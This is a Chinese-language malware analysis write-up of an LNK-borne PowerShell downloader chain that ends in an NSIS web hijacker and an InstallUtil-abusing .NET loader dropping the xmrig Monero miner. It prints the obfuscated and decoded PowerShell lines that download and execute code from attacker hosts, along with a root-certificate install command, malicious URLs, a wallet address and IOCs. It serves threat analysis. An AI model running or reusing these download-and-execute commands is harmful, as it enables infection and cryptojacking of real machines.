一个 .net 病毒的分析过程

病毒分析 2019-11-10

本文作者:病毒分析小组全体成员

样本概述

本次样本为 Lnk 文件,内嵌了一个 Powershell 脚本,用于后续的释放和攻击……

md5 为 13d3d78aa4d28311e8e57ca01d34d11f,VT 扫描结果如下:

img

行为预览

img

详细分析

对 Lnk 文件使用 010editor 解析并从命令行提取出有效 payload 如下,根据经验判断为 Invoke-Obfuscation 混淆后的代码。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"-NoPr-WINd1-eXEcByP -jOin('73k69<88Z32~40~78~101m119<45_79P98Z106P101Z99m116@32k83Z121E115P116~101P109l46l78~101Z116l46_87_101m98@67@108k105Z101@110<116P41~46k68m111~119E110m108k111l97Z100k83<116@114_105~110_103P40E39<104m116P116P112l58k47~47m122m118_100P46<117l115m47@49<39l41'.spLIt('<ZPEmk_l@~')|%{([InT]$_-as[cHAr])})|&($sheLLid[1]+$sHelLid[13]+'X')

因为脚本病毒自身的局限性,灵活运用重定向即可反混淆,解密后代码只有一行

IEX (New-ObjectSystem.Net.WebClient).DownloadString('http://zvd.us/1')

访问 http://zvd.us/1 会重定向到 http://qgb.us/view/raw/55f809b0,可见为混淆后的 ps 代码

img

去除头部 ” &( $VERBOSEpREFeRENCe.tOSTRInG()[1,3]+'X'-JOIn'')”,将脚本输出重定向,解开第一层混淆,发现仍存在混淆,

img

去除 1.ps1 头部 ” " $(sV 'OFS' '')"+[STrINg]”以及尾部 ” " $(sV 'OFS' '')"+[STrINg]”,继续重定向输出,可见明文脚本,脚本头部代码为弹框提示视频错误从而迷惑受害者

img

主要功能代码为下载 http://zvd.us/2"$env:temp\tp.bat" 并调用 cmd 执行

$wc=new-object system.net.webclient;$wc.downloadfile("http://zvd.us/2","$env:temp\tp.bat")
UKCgo -BinPath C:\Windows\System32\cmd.exe -Args "/c $env:temp\tp.bat"
http://zvd.us/2` 指示去下载 `http://zvd.us/3

img

http://zvd.us/3 重定向到 http://qgb.us/view/raw/a3e7990e,显示为混淆的 ps 代码

img

解密后发现脚本首先通过注册表操作禁用掉 Windows Dedenfer,SmartScreen 等系统自带的安全功能

img

之后下载并执行几个文件,下面会逐一分析

脚本中下载链接与实际下载链接对应如下:

"http://tracker.awesomepush.online/5bc63d002c822c0001ff45fd","$env:temp\winstat.exe")
https://s3.amazonaws.com/360ossecure/simple/Alpha/installer.exe

"http://zrkls.pw/geo/geo.php","$env:temp\post2.exe")
http://zrkls.pw/files/svchost.exe

" http://zrkls.pw/p/geoip.php ","$env:temp\post3.exe")
http://zrkls.pw/p/p2.exe

"http://zrkls.pw/geo/geo.php","$env:temp\post2.exe")
http://107.172.196.165:7217/mn.exe

installer.exe 分析

该样本是一个 NSIS 安装包,主要用于网页劫持,用 7-Zip 解压之后,发现存在一个 Bat 脚本文件,pem 证书文件,用于劫持的 Hosts 文件

pem 证书文件如下:

img

Bat 命令如下:

certutil-addstore"Root"p.pem

将 Hosts 文件与系统的 Hosts 进行替换,内容如下:

img

NSIS 脚本文件中,将释放出来的 AlphaPassive.msi 添加启动项,用于网页的劫持

img

在系统中如下

img

MN.exe 分析

svchost.exe,mn.exe,p2.exe 均为混淆后的 C# 样本,使用 de4dot 即可去混淆,去混淆后发现均为同一种样本,故选取其中一个 mn.exe 分析,使用 dnSpy 打开去混淆后的程序,查看引用,可见存在 System.Configuration.Install,怀疑为利用 C# 自带的 InstallUtil.exe 来加载恶意代码,之后会结合样本解释此技术

img

当 C# 程序中存在 System.Configuration.Install.Installer 类的派生类时,如果通过 InstallUtil 程序启动,则程序不会从正常的入口点执行,而是从派生类中的 Uninstall 或 Install 类执行,我们在虚拟机中利用 procexp 就可以观察到样本通过 InstallUtil.exe 重新加载自身的行为:

img

程序正常入口点会调用 Class6.Form0_0.Run() 函数,从而调用 OnCreateMainForm() 函数

OnCreateMainForm() 函数通过 Activator.CreateInstance() 的方式实例化 GForm0,从而调用 GForm0 的构造函数

之后从资源节读取脚本,替换程序路径并执行

作用为通过 installutil.exe 重新启动程序,之后程序将会从 Uninstall 函数开始执行

脚本内容如下:

Uninstall 函数如下:

如果想要调试 Uninstall 函数,可以通过 patch 程序的方法将代码加到入口点,dnSpy 中 patch 程序后需要在文件菜单中选择全部保存才能正常调试

样本从 Uninstall 执行后,会从资源中的图片提取出另一个恶意程序并在内存中执行

img

执行后,首先进行反虚拟机,反沙箱,反调试操作

img

之后添加计划任务作为持久化措施

img

最后通过 process hollowing 的方式在 RegAsm.exe 进程内执行恶意代码,dump 下分析为开源的门罗币矿机 xmrig

github 的地址:

https://github.com/xmrig/xmrig

矿池地址

xmr-us-east1.nanopool.org:14444

钱包地址

428X5bXdQWu1SroTn6vR5nPPoHFDUkntmdppV267SJH2dXw3mMttKGQ8Tt49BPHbt2PXyEKdit5dx499AdkvGMgkUSLCc8j

img

13 个门罗币……

根据开源威胁情报可见服务器上还存在其他恶意代码。

http[:]//zrkls[.]]pw/http[:]//zrkls[.]pw/azhttp[:]//zrkls[.]pw/az/az[.]exehttp[:]//zrkls[.]pw/az/index[.]phphttp[:]//zrkls[.]pw/files/svchost[.]exehttp[:]//zrkls[.]pw/geo/geo[.]phphttp[:]//zrkls[.]pw/geo/geo[.]php,Patternhttp[:]//zrkls[.]pw/geo/nullhttp[:]//zrkls[.]pw/phttp[:]//zrkls[.]pw/p/geoip[.]phphttp[:]//zrkls[.]pw/p/nullhttp[:]//zrkls[.]pw/p/p2[.]exehttp[:]//zrkls[.]pw/tasks[.]phphttp[:]//zrkls[.]pw/upload/pd[.]exehttp[:]//zrkls[.]pw/upload/smk[.]exehttp[:]//zrkls[.]pw/upload/svchost[.]exehttp[:]//zrkls[.]pw/upload/win2[.]exehttp[:]//zrkls[.]pw/upload/wincircuit[.]exe

IOC

域名:

http[:]//zvd[.]ushttp[:]//qgb[.]ushttp[:]//tracker[.]awesomepush[.]onlinehttps[:]//s3[.]amazonaws[.]comhttp[:]//zrkls[.]pw

主要样本的SHA1:

d16d74d6c97d4704186bfcaa949c0f2f67ef30a28b511650e60229d6da9d6712a08d01514ce374a31d651924cbca82c12b4521cb33af79ef7af857b9


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论